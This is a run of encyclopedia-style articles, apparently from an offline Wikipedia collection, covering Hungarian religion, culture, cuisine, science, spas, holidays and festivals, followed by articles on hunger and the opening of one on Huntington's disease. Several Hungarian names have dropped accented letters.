              	Catholicism

              	5,558,901

              	54.5
            


            
              	Roman Catholics

              	5,289,521

              	51.9
            


            
              	Greek Catholics

              	268,935

              	2.6
            


            
              	Protestantism

              	1,985,576

              	19.5
            


            
              	Calvinists

              	1,622,796

              	15.9
            


            
              	Lutherans

              	304,705

              	3.0
            


            
              	Baptists

              	17,705

              	0.2
            


            
              	Unitarians

              	6,541

              	0.1
            


            
              	Other Protestants

              	33,829

              	0.3
            


            
              	Orthodoxism

              	15,298

              	0.1
            


            
              	Other Christians

              	24,340

              	0.2
            


            
              	Judaism

              	12,871

              	0.1
            


            
              	Other religions

              	13,567

              	0.1
            


            
              	Total religions

              	7,610,553

              	74.6
            


            
              	No religion

              	1,483,369

              	14.5
            


            
              	Did not wish to answer

              	1,034,767

              	10.1
            


            
              	Unknown

              	69,566

              	0.7
            


            
              	total

              	10,198,315

              	100.00
            

          


          


          Religious history
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          The majority of Hungarian people became Christian in the 10th century. Hungary's first king, Saint Stephen I, took up Western Christianity, although his mother, Sarolt, was baptized in the eastern rite. Hungary remained predominantly Catholic until the 16th century, when the Reformation took place and, as a result, first Lutheranism, then soon afterwards Calvinism became the religion of almost the entire population. In the second half of the 16th century, however, Jesuits led a successful campaign of counterreformation among the Hungarians. The Jesuits founded educational institutions, including Pter Pzmny, the oldest university that still exists in Hungary, but organized so-called missions too in order to promote popular piety. By the 17th century, Hungary had once again become predominantly Catholic. The eastern parts of the country, however, especially around Debrecen ("the Calvinist Vatican") and Transylvania (except the majority of the Szkelys), remained predominantly Protestant. Orthodox Christianity in Hungary has been the religion mainly of some national minorities in the country, notably, Romanians, Rusyns and Ukrainians, Serbs.


          Hungary has been the home of a sizable Armenian community as well. They still worship according to the Armenian rite, but they have reunited with the Church of Rome ( Armenian Catholics) under the primacy of the Pope. According to the same pattern, a significant number of Orthodox Christians became re-united with the rest of the Catholic world ( Greek Catholics).


          


          Jewish Hungarians


          Hungary has been the home of a significant number of Jews, especially since the 19th century when many Jews, persecuted in Russia, found refuge in the Kingdom of Hungary. The largest synagogue in Europe is located in Budapest. Some Hungarian Jews were able to escape the Holocaust during World War II, although many were either deported to concentration camps or simply executed.


          


          Today


          The 2001 Hungarian Census showed religious adherency to be the following: Catholics 54.5%, Calvinist 15.9%, No Religion 14.5%, refused to answer 10.1%, Lutheran 3% and other 2%.


          According to the most recent Eurobarometer Poll 2005,


          
            	44% of Hungarian citizens responded that "they believe there is a God".


            	31% answered that "they believe there is some sort of spirit or life force".


            	19% answered that "they do not believe there is any sort of spirit, God, or life force".

          


          


          Culture


          


          Architecture
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          Hungary is home to the largest synagogue in Europe ( Great Synagogue), the largest medicinal bath in Europe ( Szchenyi Medicinal Bath), the third largest church in Europe ( Esztergom Basilica), the second largest territorial abbey in the world ( Pannonhalma Archabbey), the second largest Baroque castle in the world ( Gdllő), and the largest Early Christian Necropolis outside Italy ( Pcs).


          


          Music


          The music of Hungary consists mainly of traditional Hungarian folk music and music by prominent composers such as Liszt, Dohnnyi, Bartk, Kodly, and Rzsa. Hungarian traditional music tends to have a strong dactylic rhythm, as the language is invariably stressed on the first syllable of each word. Hungary also has a number of internationally renowned composers of contemporary classical music, Gyrgy Ligeti, Gyrgy Kurtg, Pter Etvs and Zoltn Jeney among them.


          


          Literature
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          In the earliest times Hungarian language was written in a runic-like script (although it was not used for literature purposes in the modern interpretation). The country switched to the Latin alphabet after being Christianized under the reign of Stephen I (10001038). There are no existing documents from the pre-11th century era. The oldest written record in Hungarian is a fragment in the founding document of the Abbey of Tihany (1055) which contains several Hungarian terms, among them the words feheruuaru rea meneh hodu utu rea, "up the military road to Fehrvr" The rest of the document was written in Latin. The oldest complete text is the Funeral Sermon and Prayer (Halotti beszd s knyrgs) (11921195), a translation of a Latin sermon. The oldest poem is the Old Hungarian Laments of Mary (magyar Mria-siralom), also a (not very strict) translation from Latin, from the 13th century. It is also the oldest surviving Finno-Ugric poem. Among the first chronicles about Hungarian history were Gesta Hungarorum ("Deeds of the Hungarians") by the unknown author usually called Anonymus, and Gesta Hunnorum et Hungarorum ("Deeds of the Huns and the Hungarians") by Simon Kzai. Both are in Latin. These chronicles mix history with legends, so historically they are not always authentic. Another chronicle is the Kpes krnika (Illustrated Chronicle), which was written for Louis the Great.


          Renaissance literature flourished under the reign of King Matthias (14581490). Janus Pannonius, although wrote in Latin, counts as one of the most important persons in Hungarian literature, being the only significant Hungarian Humanist poet of the period. The first printing house was also founded during Matthias' reign, by Andrs Hess, in Buda. The first book printed in Hungary was the Chronica Hungarorum. The most important poets of the period was Blint Balassi (15541594) and Mikls Zrnyi (16201664). Balassi's poetry shows Mediaeval influences, his poems can be divided into three sections: love poems, war poems and religious poems. Zrnyi's most significant work, the epic Szigeti veszedelem (" Peril of Sziget", written in 1648/49) is written in a fashion similar to the Iliad, and recounts the heroic Battle of Szigetvr, where his great-grandfather died while defending the castle of Szigetvr. Among the religious literary works the most important is the Bible translation by Gspr Kroli, the Protestant pastor of Gnc, in 1590. The translation is called the Bible of Vizsoly, after the town where it was first published. (See Hungarian Bible translations for more details.)


          The Hungarian enlightenment delayed about fifty years compared to the Western European enlightenment. The new thoughts arrived to Hungary across Vienna. The first enlightened writers were Maria Theresia's bodyguards ( Gyrgy Bessenyei, Jnos Batsnyi and so on). The greatest poets of the time was Mihly Csokonai Vitz and Dniel Berzsenyi. The greatest figure of the language reform was Ferenc Kazinczy. The Hungarian language became feasible for scientific explanations this time, farther a lot of new words were coined for describing new inventions.


          Hungarian literature has recently gained some renown outside the borders of Hungary (mostly through translations into German, French and English). Some modern Hungarian authors became increasingly popular in Germany and Italy especially Sndor Mrai, Pter Esterhzy, Pter Ndas and Imre Kertsz. The latter is a contemporary Jewish writer who survived the Holocaust and won the Nobel Prize for literature in 2002. The older classics of Hungarian literature and Hungarian poetry remained almost totally unknown outside Hungary. Jnos Arany, a famous nineteenth century Hungarian poet is still much loved in Hungary (especially his collection of Ballads), among several other "true classics" like Sndor Petőfi, the poet of the Revolution of 1848, Endre Ady, Mihly Babits, Dezső Kosztolnyi, Attila Jzsef and Jnos Pilinszky. Other well-known Hungarian authors are Ferenc Mora, Geza Gardonyi, Zsigmond Mricz, Gyula Illys, Albert Wass, and Magda Szab.


          


          Comics


          


          Cuisine
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          Hungarian cuisine is also a prominent feature of Hungarian culture, with traditional dishes such as the world famous goulash (gulys or gulysleves) a main feature of the Hungarian diet. Dishes are often flavoured with paprika (pure powdered pepper), a Magyar innovation . Goulash is, contrary to popular belief, not a stew but an artistically prepared thick soup. Sour cream is often used to soften flavour. Fishermans soup ( halszl) is a rich mixture of several kinds of poached fish, tomatoes, green peppers and paprika. It is a meal in itself. Lake Balaton pike-perch (fogas) is generally served breaded and fried or grilled. Other distinctive dishes include, chicken paprika, homemade prklt (stew), "vadas" which is a cooked wild meat in carrot sauce and special dumplings, and trout with almond. Goose liver (libamj) is also very popular, either fried or grilled, cold or hot. Desserts include the iconic Dobos Cake, strudels (rtes in Hungarian, they are layered pastries filled with apple, cherry, poppyseed, curd or cheese), Gundel pancakes ( palacsinta), plum in pasta dumplings (szilvs gombc), somli dumplings and gesztenyepr (cooked chestnuts mashed, topped with whipped cream). Specialities include salty and sweet pastas, of which trs csusza (pasta with curd and sour cream) is the most famous.


          Healthy brown bread is made from four to six different grains and is sprinkled with sesame seeds, sunflower seeds and rolled oats. Kifli is a wildly popular crescent roll made from reform dough.


          The csrda is the most distinctive type of Hungarian inns, an old-style tavern offering traditional cuisine, wine and plinka. Boroz usually denotes a cozy old-fashioned wine bar, pince is a beer or wine cellar and a srző is a pub offering draught beer (csapolt sr) and sometimes meals. The bisztr is an inexpensive restaurant that is often self-service (nkiszolgl). The bf is the cheapest place, although one may have to eat standing at a counter. Pastries, cakes and coffee are served at a cukrszda, while an eszpressz is a cafeteria.


          
            	Drinks
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          Plinka: This alcoholic drink is distilled from fruit grown in the orchards situated on the Great Hungarian Plain. It is a spirit native to Hungary and comes in a variety of flavours including apricot ( barack) and cherry ( cseresznye). However plum ( szilva) is considered the best of all.


          Beer: Beer goes well with many traditional Hungarian dishes and many Hungarians chose to drink is with their lunch. The four main Hungarian breweries are: Soproni, Arany szok, Kbnyai, and Dreher.


          Wine: As Hugh Johnson says in its book, The History of Wine: the territory of Hungary is ideal for wine-making. Since the fall of communism we have seen the renaissance of Hungarian wine-making. The choice of good wine is widening from year to year. The country can be divided to six wine regions: North-Transdanubia, Lake Balaton, South-Pannnia, Duna-region or Alfld, Upper-Hungary and Tokaj-Hegyalja. The Hungarian wine regions offer a great variety of style: the main products of the country are elegant and full-bodied dry whites with good acidity, although complex sweet whites (Tokaj), elegant ( Eger) and full-bodied robust reds ( Villny and Szekszrd). The main varieties are: Olaszrizling, Hrslevelű, Furmint, Pinot gris or Szrkebart, Chardonnay (whites), Kkfrankos (or Blaufrankisch in German), Kadarka, Portugieser, Zweigelt, Cabernet sauvignon, Cabernet franc and Merlot. The most famous wines from Hungary are Tokaji Asz and Egri Bikavr.


          Tokaji: Tokaji, meaning "of Tokaj", or "from Tokaj" in Hungarian, is used to label wines from the wine region of Tokaj-Hegyalja in Hungary.Tokaji wine has received accolades from numerous great writers and composers including Beethoven, Liszt, Schubert and Goethe; Joseph Haydn's favorite wine was a Tokaji. Louis XV and Frederick the Great tried to outdo one another in the excellence of the vintages they stocked when they treated guests like Voltaire to some Tokaji. Napoleon III, the last Emperor of the French, ordered 3040 barrels of Tokaji for the Court every year. Gustav III, King of Sweden, never had any other wine to drink.In Russia, customers included Peter the Great and Empress Elizabeth of Russia.


          Zwack Unicum: For over 150 years, a blend of 40 Hungarian herbs has been used to create Unicum. This is a bitter, dark-coloured liqueur that can be drunk as an apritif or after a meal, thus helping digestion. The recipe is held in secrecy by the Zwack family.


          


          Science
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          Hungary is famous for its excellent mathematics education which has trained numerous outstanding scientists. Famous Hungarian mathematicians include Paul Erdős (Erdős Pl), famed for publishing in over forty languages and whose Erdős numbers are still tracked; Jnos (John) Bolyai (Bolyai Jnos), designer of non-Euclidean (or "absolute") geometry in 1831; and John von Neumann (Neumann Jnos), a pioneer of digital computing. Many Hungarian Jewish scientists, including Erdős, von Neumann, Edward Teller (Teller Ede), and Eugene Wigner (Wigner Jenő), fled rising anti-Semitism in Europe and made their most famous contributions in the United States.


          Hungarian inventions include the noiseless match ( Jnos Irinyi), Rubik's cube ( Ernő Rubik), and the krypton electric bulb ( Imre Brdy). Several other inventions were made by Hungarians who fled the country prior to World War II, including holography ( Dennis Gabor), the ballpoint pen ( Lszl Br), the theory of the hydrogen bomb (Edward Teller (Teller Ede)), and the BASIC programming language ( John Kemeny, with Thomas E. Kurtz).


          


          Sport


          
            [image: Gábor Talmácsi (British GP)]

            
              Gbor Talmcsi (British GP)
            

          


          One of the most famous Hungarians is the footballer Ferenc Pusks (1927  2006). He scored 84 goals in 85 internationals for Hungary, and 511 goals in 533 matches in the Hungarian and Spanish leagues. Pusks played the 1954 World Cup final against West Germany. In 1958, after the Hungarian Revolution, he emigrated to Spain where he played in the legendary Real Madrid team that also included Alfredo Di Stfano, and Francisco Gento.


          Hungarians are also known for their prowess at water sports, mainly swimming, water polo (in which they have defeated the Soviet team in 1956) and canoeing (they have won multiple medals); this can be said to be surprising at first, due to Hungary being landlocked. On the other hand, the presence of two major rivers (the Duna and the Tisza) and a major lake ( Balaton) give excellent opportunities to practice these sports. Some of the world's best sabre fencing athletes have historically hailed from Hungary. The Hungarian national ice hockey team have also qualified for their first IIHF World Championship in more than seventy years.


          


          Spa Culture


          
            [image: Rudas Baths is a thermal and medicinal bath that was first built in 1550]

            
              Rudas Baths is a thermal and medicinal bath that was first built in 1550
            

          


          Hungary is a land of thermal water. A passion for spa culture and Hungarian history have been connected from the very beginning. It has been shown that Hungarian spa culture is multicultural. The basis of this claim is architecture: Hungarian spas feature Roman, Greek, Turkish, and northern country architectural elements. Due to an advantageous geographical location thermal water can be found with good quality and in great quantities on over 80% of Hungarys territory. The Romans heralded the first age of spa in Hungary, the remains of their bath complexes are still to be seen in buda, to this day. The spa culture was revived during the Turkish Invasion who used the thermal springs of Buda for the construction of a number of bathhouses, some of which are still functioning ( Kirly Baths, Rudas Baths). In the 19th century the advancement in deep drilling and medical science provided the springboard for a further leap in bathing culture. Grand spas such as Gellrt Baths, Lukcs Baths, Margaret Island, and Szchenyi Medicinal Bath are a reflection of this resurgence in popularity. Approximately 1,500 thermal springs can be found in Hungary. About half of these are used for bathing. The spa culture has a nearly 2,000 year history in Budapest. Budapest has the richest supply of thermal water among the capitals of the world. The amount of thermal water used in Budapest is roughly equal to two million bath tubs per day. There are approximately 450 public baths in Hungary. Nowadays the trend shows that bath operators are modernizing their facilities and expanding the services offered. A total of 50 of the 160 public baths are qualified as spas throughout the country. Services are offered for healing purposes. These spas provide every type of balneal and physical therapy. Throughout history bathing and spa tourism has always played an important role in Hungary.


          
            	The thermal lake of Hvz
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          The thermal lake of Hvz is the largest biologically active, natural thermal lake of the world. The oldest and most well-known bath of Hungary, in accordance with records from the Roman era, has a history of 2000 years. The Hvz treatment, in its present sense, also dates back more than 200 years. The 4.4 ha lake is fed by its spring rushing up at a depth of 38 m, containing sulphur, radium and minerals. Due to the high water output of the spring, the water of the lake is completely changed within 48 hours. The water of the Hvz Lake is equally rich in dissolved substances and gases, combining the favourable effects of naturally carbonated medicinal waters and those containing sulphur, calcium, magnesium, hydrogen-carbonate, as well as those with a slightly radioactive content. The medicinal mud, which covers the bed of the lake in a thick layer, deserves special attention. The Hvz mud, which is unique of its kind, contains both organic and inorganic substances and the radium-salts and reduced sulphuric solutions in it represent special medicinal factors. The medicinal water and mud originating from the several then thousand year-old Pannonian Sea, together with the complex physiotherapeutic treatments, are suitable for treating all kinds of rheumatic and locomotory diseases. The temperature of the water is 23-25 C in winter and 33-36 C in summer.


          


          Folk Art


          


          Folk Dance


          Ugrs (Jumping dances): Old style dances dating back to the Middle Ages. Solo or couple dances accompanied by old style music, shepherd and other solo mans dances from Transylvania, and marching dances along with remnants of medieval weapon dances belong in this group.


          Karikz: a circle dance performed by women only accompanied by singing of folksongs.


          Csrds: New style dances developed in the 18-19. centuries is the Hungarian name for the national dances, with Hungarian embroidered costumes and energetic music. From the men's intricate bootslapping dances to the ancient women's circle dances, Csrds demonstrates the infectious exuberance of the Hungarian folk dancing still celebrated in the villages.


          Verbunkos: a solo mans dance evolved from the recruiting performances of the Austro-Hungarian army.


          The Legnyes: is a men's solo dance done by the ethnic Hungarian people living in the Kalotaszeg region of Transylvania. Although usually danced by young men, it can be also danced by older men. The dance is performed freestyle usually by one dancer at a time in front of the band. Women participate in the dance by standing in lines to the side and sing/shout verses while the men dance. Each lad does a number of points (dance phrases) typically 4 to 8 without repetition. Each point consists of 4 parts, each lasting 4 counts. The first part is usually the same for everyone (there are only a few variations).


          


          Embroidery
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          It was in the beginning of the eighteenth century that the present style of Hungarian folk art took shape, incorporating both Renaissance and Baroque elements, depending on the area, as well as Persian Sassanide influences. Flowers and leaves, sometimes a bird or a spiral ornament, are the principal decorative themes. The most frequent ornament is a flower with a centerpiece resembling the eye of a peacock's feather. Nearly all the manifestations of folk art practiced elsewhere in Europe also flourished among the Magyar peasantry at one time or another, their ceramics and textile being the most highly developed of all. The finest achievements in their textile arts are the embroideries which vary from region to region. Those of Kalotaszeg in Transylvania are charming products of Oriental design, sewn chiefly in a single colour - red, blue, or black. Soft in line, the embroideries are applied on altar cloths, pillow cases and sheets. In Hungary proper Srkz in Transdanubia and the Matyfld in the Great Hungarian Plain produce the finest embroideries. In the Srkz region the women's caps show black and white designs as delicate as lace and give evidence of the people's wonderfully subtle artistic feeling. The embroidery motifs applied to women's wear have also been transposed to tablecloths and runners suitable for modern use as wall decorations.


          


          Black pottery


          These vessels, made of black clay, reflect more than three hundred years of traditional Transdanubian folk patterns and shapes. No two are precisely alike, since all work is done by hand, including both the shaping and the decorating. The imprints are made by the thumb or a finger of the ceramist who makes the piece.


          


          Hungarian public holidays and special events


          


          Hungary has nine fixed public holidays:


          
            
              	Date

              	English Name

              	Local Name

              	Remarks
            


            
              	January 1

              	New Year's Day

              	jv

              	
            


            
              	March 15

              	National Day

              	Nemzeti nnep

              	Mrciusi ifjak ("March youths"), memorial day of the 1848 Revolution. There are usually speeches and music pieces performed; several people wear a cockade with the national colours (red, white and green).
            


            
              	Moveable

              	Easter Sunday

              	Hsvtvasrnap

              	Good Friday work-free for Protestants
            


            
              	Moveable

              	Easter Monday

              	Hsvthtfő

              	Men visit women and ask for permission for sprinkling by reciting a little Easter poem, they sprinkle them with some perfume (or sometimes a bucket of cold water in the countryside), and they get eggs (mostly of chocolate) in exchange. Children get chocolate bunnies and eggs (from the Bunny), and sometimes fruits, nuts etc. as well. They sometimes have to look for these presents in the garden or in their room. (Living bunnies are not infrequent, either.) Mothers often cook turkey and/or ham for dinner.
            


            
              	May 1

              	Labour day;

              anniversary of the accession to the EU

              	A munka nnepe

              	The countries of the EU are represented with special programmes, bridges are decorated and exhibitions are arranged.
            


            
              	Moveable

              	Pentecost Sunday

              	Pnksdvasrnap

              	Sunday, 50 days after Easter
            


            
              	Moveable

              	Pentecost Monday

              	Pnksdhtfő

              	Monday after Pentecost
            


            
              	August 20

              	Saint Stephen Day

              	Szent Istvn nnepe

              	
                St. Stephen's Day, Foundation of State, "the day of the new bread" as well. St. Stephen of Hungary (Szent Istvn kirly in Hungarian) (ca. 975  August 15, 1038), was the first king of Hungary.

                Celebrated with a half-hour fireworks on the bank of the Danube in the evening, attended by several hundreds of thousands of people.

              
            


            
              	October 23

              	National Day

              	Nemzeti nnep

              	The day of the Republic (since 1989), 1956 Revolution memorial day. Celebrated with speeches and exhibitions.
            


            
              	November 1

              	All Saints Day, Day of the Dead

              	Mindenszentek, Halottak napja

              	It is a day to remember the lost ones. On this day people generally visit all their lost relatives' graves which they decorate with flowers.
            


            
              	December 24 evening,

              December 25

              	Christmas

              	Karcsony

              	People buy (or make) presents for their relatives and friends in the preceding couple of weeks (so this period is the absolute boom of the year for most stores). Public transport stops operating at about 4 p.m. Families reunite and people prepare their (labelled) presents under the Christmas tree. It is made of a fir which is decorated by one or two people in the family so nobody else can see it before they signal with a little bell for the rest to come in. The family sings Christmas songs together and everyone unwraps their presents.

              On 25th, people usually visit their farther relatives (eg. aunts, uncles and grandparents) and exchange presents.
            


            
              	December 26

              	Second Day of Christmas

              	Karcsony msnapja

              	
            

          


          


          Holidays not endorsed by the state:


          
            
              	Date

              	English Name

              	Local Name

              	Remarks
            


            
              	December 6

              	Santa Claus, Saint Nicholas Day

              	Tlap, Mikuls

              	Children get various chocolate pieces from the Santa Claus by morning. If they were bad, they might get (birch) rods exclusively or beside their presents.
            


            
              	December 31

              	New Year's Eve

              	Szilveszter

              	Young people go partying until morning. Streets are noisy with paper trumpets, hoots and champagne cracks; people often wear masks. Those who stay home usually watch the comedies made for this occasion; at midnight they drink champagne and wish each other good luck for the new year. National television channels broadcast the orchestral and choral national anthem at midnight, and then the speech of the current President. With these finished, further comedies and various movies follow. The next day streets are as empty as ever, and people sleep long (or sleep themselves sober).
            


            
              	Moveable

              	Carnival

              	Farsang

              	A six day regional carnival, originally celebrated by the okci (ethnic- Croatians) living in the town of Mohcs. Traditions include folk music, masquerading, parades and dancing.
            

          


          


          Hungarian domestic animals
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          There are special Hungarian species of domestic animals which are seen as national symbols in Hungary, and there are "gene banks" to ensure their survival, especially in national parks.


          
            	Long-horn Hungarian Grey Cattle- Hungarian breed, traditionally kept in the open full year. Nowadays they are raised for infant food due to natural, healthy meat.


            	Magyar Vizsla - one of the oldest hunting dogs of the world. The ancestors of this dog came into the Carpathian Basin with the nomadic Hungarian tribes.


            	Hungarian Puli - small shepherd dog


            	Hungarian Komondor - large shepherd dog, was brought to Hungary a thousand years ago by nomadic Magyars.


            	Hungarian Kuvasz - large shepherd dog.


            	Hungarian Pumi - small shepherd dog.


            	Magyar Agr (Hungarian Greyhound) is already known in the 8th century, it is as old as the Vizsla.


            	Transylvanian Bloodhound - Hungarian hound.


            	Hungarian Mudi shepherd dog.


            	Hungarian thoroughbred horses - a mid-19th century mixture of the best Arab and English race horse characteristics.


            	Mangalica, a breed of pigs, characterised by their long curly hair and relatively fatty meat which makes them ideal for making sausages and salami.

          


          


          Special events


          Hungarys most outstanding annual events include the Budapest Spring Festival (mid-march to mid-April), Hortobgy Equestrian Days (late June), Sopron Early Music Days (late June), Bcs (Farewell), Festival in Budapest (late June), Miskolc Opera Festival (late June), Miskolc Kallka International Folk Festival (July), Győr Summer Festival (late June), Győr Summer Cultural Festival (late June to lateJuly), Pannon Festival in Pcs (July and August), Szentendre Summer Festival (July), Kőszeg Street Theatre Festival (late July), Savaria International Dance Competition in Szombathely (July), Debrecen Jazz Days (July), Szeged Open Air Festival (mid-July to August), Diksziget (Student Island or Pepsi Island) north of Budapest (August), Eger Wine Harvest Festival (September), and Budapest Autumn Arts Festival (mid-September to mid-October).


          St Stephens Day (20 August) is celebrated with sporting events, parades and fireworks nationwide. On the same day there is a Floral Festival in Debrecen and a Bridge Fair in nearby Hortobgy. Formula 1 car races are held in early August at the Hungaroring near Mogyord, 24 km northeast of Budapest.


          


          Budapest Spring Festival
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          Designed to fit the needs of Budapests cultural heritage and its requirements as a modern Central European centre, this metropolitan festival was instituted in 1981. By presenting and disseminating cultural assets it boosts the citys image and encourages dynamic development of its cultural tourism. This "festival of festivals", traditionally covering a range of artistic fields, presents a series of homogeneous artistic activities to which international professional symposia are linked. The Budapest Spring Festival takes place in the last two weeks of March. Its main emphasis is on those symphony orchestra concerts, opera and ballet performances which will appeal to the widest audience, but the program also includes open-air events and an Operetta Festival. The performances take place in the capitals most important concert halls and theatres, and often near historic monuments. Over the years a number of regional towns have been included in the Budapest Spring Festival - Debrecen, Gdllő, Győr, Kaposvr, Kecskemt, Sopron, Szentendre and Szombathely - and thus it has more or less expanded into a national festival. The list of events always includes renowned foreign guests as well as distinguished artists and groups from the Hungarian musical life. Highlights include classical concerts, productions at the Opera House, open air events, the Operetta Festival, the Dance House Convention, the Dance Panorama, and what are considered to be the real treat, the exhibitions.


          


          Haydn Festival in Eszterhza
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          Haydn at Eszterhza: During its first quarter century, the palace was the primary home of the celebrated composer Joseph Haydn, who wrote the majority of his symphonies for the Prince's orchestra. Starting in 1768, the theatre was a major venue for opera, often with more than a hundred performances per year. The palace was geographically isolated, a factor which led to loneliness and tedium among the musicians. This is seen in some of Haydn's letters, as well as in the famous tale of the Farewell Symphony


          The basic aim of the festival is to evoke the musical paradise that Eszterhza was in Haydn's time, within the original walls, with the help of period instruments and performing practice. The programmes focus mainly on the works composed during the Eszterhza period of Haydn's creative life, and among these, on compositions belonging to the most important genres (symphonies, string quartets, keyboard sonatas and trios). In addition, however, the concert programmes regularly include works by the "unknown Haydn" (baryton pieces, rarely-heard church compositions, wind divertimenti, etc.). The festival aims to provide opportunities for the world's most outstanding Haydn performers to meet here, to gain inspiration from the atmosphere and acoustics of the place, and to inspire one another through shared music-making. The majority of the performers play only compositions by Joseph Haydn, but also in exceptional cases other works closely connected, either directly or through their composers, with Haydn, Eszterhza or the family of the Esterhzy princes - such as, for example, the string quartets dedicated to Haydn by Mozart, and certain pieces by Michael Haydn (the composer's younger brother), Luigi Tomasini (leader of the Eszterhza orchestra) and others. The venue for most of the concerts is the enchantingly beautiful ceremonial hall of the palace, which has superb acoustics. Some of the more intimate, solistic performances are given in the sala terrena, the central hall of the original, smaller, Renaissance hunting palace. Some concerts of church music take place in one or other of the churches in the nearby villages.


          


          Győr Summer Festival
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          This festival is held annually, from the second week in June to the second week in July. The Győr Summer International Cultural Festival, which displays Győr's cultural heritage, has a history of over three decades. The list of events, which covers a wide range of genres, is based on a series of separate activities. Every year, for a month in June and July, the Baroque decorations of the city centre, its atmospheric courtyards and the banks of the Rba river are home to the International Ballet Festival, the International Puppet and Street Theatre Convention, the International Folk Dancing and Folk Music Festival, and the International Handcraft Fair and Exhibition. In addition to the performances of the hosts - the Győr Ballet, the Győr National Theatre, and the Győr Philharmonic Orchestra - visitors can also see those of the visiting theatre companies and musical groups .
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        Hunger


        
          

          Hunger is a feeling experienced usually followed by a desire to eat. The often unpleasant feeling originates in the hypothalamus and is released through receptors in the liver. Although an average nourished individual can survive weeks without food intake, the sensation of hunger typically begins after a couple of hours without eating and is generally considered quite uncomfortable. The sensation of hunger can often be alleviated and even mitigated entirely with the consumption of food.


          Kamala Markandaya, the Indian writer, evokes the horror and pain of hunger in personal terms:


          
            For hunger is a curious thing; at first it is with you all the time, waking and sleeping and in your dreams, and your belly cries out insistently, and there is a gnawing and a pain as if your very vitals were being devoured, and you must stop it at any cost and you buy a moments respite even while you know and fear the sequel. Then the pain is no longer sharp but dull, and this too is with you always, so that you think of food many times a day and each time a terrible sickness assails you, and because you know this you try to avoid the thought, but you cannot, it is with you. Then that too is gone, all pain, all desire, only a great emptiness is left , like the sky like a well in drought, and it is now that the strength drains from your limbs and you try to rise and find you cannot, or to swallow water and your throat is powerless, and both the swallow and the effort of retaining the liquid tax you to the uttermost.


             Kamala Markandaya

          


          


          Hunger pains


          When hunger contractions occur in the stomach, these are called hunger pangs. Hunger pangs usually do not begin until 12 to 24 hours after the last ingestion of food, in starvation. A single hunger contraction lasts about 30 seconds, and pangs continue for around 30-45 minutes, then hunger subsides for around 30-150 minutes. Individual contractions are separated at first, but are almost continuous after a certain amount of time. Emotional states (anger, joy etc.) may inhibit hunger contractions. Levels of hunger are increased by lower blood sugar levels, and are higher in diabetics. They reach their greatest intensity in 3 to 4 days and may weaken in the succeeding days, though hunger never disappears. Hunger contractions are most intense in young, healthy people who have high degrees of gastrointestinal tonus. Periods between contractions increase with old age.


          


          Biological mechanisms


          The fluctuation of leptin and ghrelin hormone levels results in the motivation of an organism to consume food. When an organism eats, adipocytes trigger the release of leptin into the body. Increasing levels of leptin results in a reduction of one's motivation to eat. After hours of non-consumption, leptin levels drop significantly. These low levels of leptin cause the release of secondary hormone, ghrelin, which in turn reinitiates the feeling of hunger.


          Some studies have suggested that an increased production of grehlin may enhance desire towards perceptive food cues, while an increase in stress may also influence the hormone's production. These findings support why hunger can prevail under stressful situations.


          


          Behavioural response


          Hunger appears to increase activity and movement in many animals - for example, an experiment on spiders showed increased activity and predation in starved spiders, resulting in larger weight gain. This pattern is seen in many animals, including humans while sleeping. It even occurs in rats with their cerebral cortex or stomachs completely removed. Increased activity on hamster wheels occurred when rats were deprived not only of food, but also water or B vitamins such as thiamine This response may increase the animal's chance of finding food, though it has also been speculated the reaction relieves pressure on the home population.
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              	George Huntington's 1872 paper described the disorder.
            


            
              	ICD- 10

              	G 10., F 02.2
            


            
              	ICD- 9

              	333.4, 294.1
            


            
              	OMIM

              	143100
            


            
              	DiseasesDB

              	6060
            


            
              	MeSH

              	D006816
            

          


          Huntington's disease, also called Huntington's chorea, chorea major, or HD, is a genetic neurological disorder characterized by abnormal body movements called chorea and a lack of coordination; it also affects a number of mental abilities and some aspects of behaviour. The name is derived from the physician George Huntington who described the disorder in 1872. In 1993 the gene causing HD was found, making it one of the first inherited genetic disorders for which an accurate test could be performed. Because of this, and the disorder having aspects applicable to other neurological disorders such as Alzheimer's disease, it has been extensively researched since then.


          The gene causing the disorder is dominant and may, therefore, be inherited from a single parent. Global incidence varies, from 3 to 7 per 100,000 people of Western European descent, down to 1 per 1,000,000 of Asian and African descent. The onset of physical symptoms in Huntington's disease occur in a large range around a mean of a person's late forties to early fifties. If symptoms become noticeable before a person is the age of twenty, then their condition is known as Juvenile HD.


          Huntington's disease is one of several polyglutamine diseases caused by a trinucleotide repeat expansion. This expansion is in the Huntingtin gene, which normally codes for Huntingtin protein (Htt), producing mutant Huntingtin (mHtt). The presence of this protein increases the rate of neuron cell death in select areas of the brain, affecting certain neurological functions. The loss of neurons isn't fatal, but complications caused by symptoms reduce life expectancy. There is currently no proven cure, so symptoms are managed with a range of medications and supportive services.


          


          Symptoms


          Symptoms increase in severity progressively, but aren't often recognised until they reach certain stages. Physical symptoms are usually the first to cause problems and be noticed, but these are accompanied by cognitive and psychiatric ones which aren't often recognized. Almost everyone with Huntington's Disease eventually exhibits all physical symptoms, but cognitive symptoms vary, and so any psychopathological problems caused by these, also vary per individual. The symptoms of juvenile HD differ in that they generally progress faster and are more likely to exhibit rigidity and bradykinesia instead of chorea and often include seizures.


          


          Physical


          The most characteristic symptoms are jerky, random, and uncontrollable movements called chorea, although sometimes very slow movement and stiffness ( bradykinesia, dystonia) can occur instead or in later stages. These abnormal movements are initially exhibited as general lack of coordination, an unsteady gait and slurring of speech. As the disease progresses, any function that requires muscle control is affected, this causes reduced physical stability, abnormal facial expression, impaired speech comprehensibility, and difficulties chewing and swallowing. Eating difficulties commonly cause weight loss. HD has been associated with sleep cycle disturbances, including insomnia and rapid eye movement sleep alterations.


          Counter intuitively, there may be some health benefits as carriers of the gene are hypothesized to have higher levels of the tumor suppressor protein p53 and a better than average immune system than non-carriers. As of April 2008, neither of these hypotheses have been supported by rigorous study.


          


          Cognitive


          Selective cognitive abilities are progressively impaired, including executive function (planning, cognitive flexibility, abstract thinking, rule acquisition, initiating appropriate actions and inhibiting inappropriate actions), psychomotor function (slowing of thought processes to control muscles), perceptual and spatial skills of self and surrounding environment, selection of correct methods of remembering information (but not actual memory itself), short-term memory, and ability to learn new skills, depending on the pathology of the individual.


          


          Psychopathological


          Psychopathological symptoms vary more than cognitive and physical ones, and may include anxiety, depression, a reduced display of emotions ( blunted affect) and decreased ability to recognize negative expressions like anger, disgust, fear or sadness in others, egocentrism, aggression, and compulsive behaviour. The latter can cause, or worsen, hypersexuality and addictions such as alcoholism and gambling.


          


          Genetics


